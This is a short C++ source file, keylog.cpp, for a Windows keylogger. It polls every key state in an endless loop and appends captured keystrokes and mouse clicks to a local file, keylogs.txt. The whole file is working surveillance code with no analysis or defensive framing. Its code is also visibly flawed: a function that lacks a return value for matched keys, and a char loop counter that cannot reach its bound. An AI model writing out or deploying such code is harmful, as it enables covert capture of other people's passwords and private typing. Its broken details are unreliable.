keylog.cpp

#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>

using namespace std;

void WriteToLog(LPCSTR text){
    ofstream logfile;
    logfile.open("keylogs.txt",fstream::app);
    logfile<< text;
    logfile.close();

}

bool KeyIsListed(int iKey){
    switch(iKey)
    {
        case VK_SPACE:
        cout<<" ";
        WriteToLog( " ");
        break;

        case VK_RETURN:
        cout<< "\n";
        WriteToLog( "\n");
        break;

        case VK_SHIFT:
        cout<<" *Shift* ";
        WriteToLog(" *Shift* ");
        break;

        case VK_BACK:
        cout<< "\b";
        WriteToLog("\b");
        break;
        
        case VK_RBUTTON:
        cout<< " *rclick* ";
        WriteToLog(" *rclick* ");
        break;
        

        case VK_LBUTTON:
        cout<< " *lclick* ";
        WriteToLog(" *lclick* ");
        break;

        default: return false;
    }
}

int main()
{
char key;
while(TRUE)
{
    Sleep(10);
    for(key = 8; key <=130; key++)
    {
        if(GetAsyncKeyState(key)== -32767){
            if(KeyIsListed(key)==FALSE){
                ofstream logfile;
                logfile.open("keylogs.txt",fstream::app);
                logfile<< key;
                logfile.close();
            }
        }
    }
}
}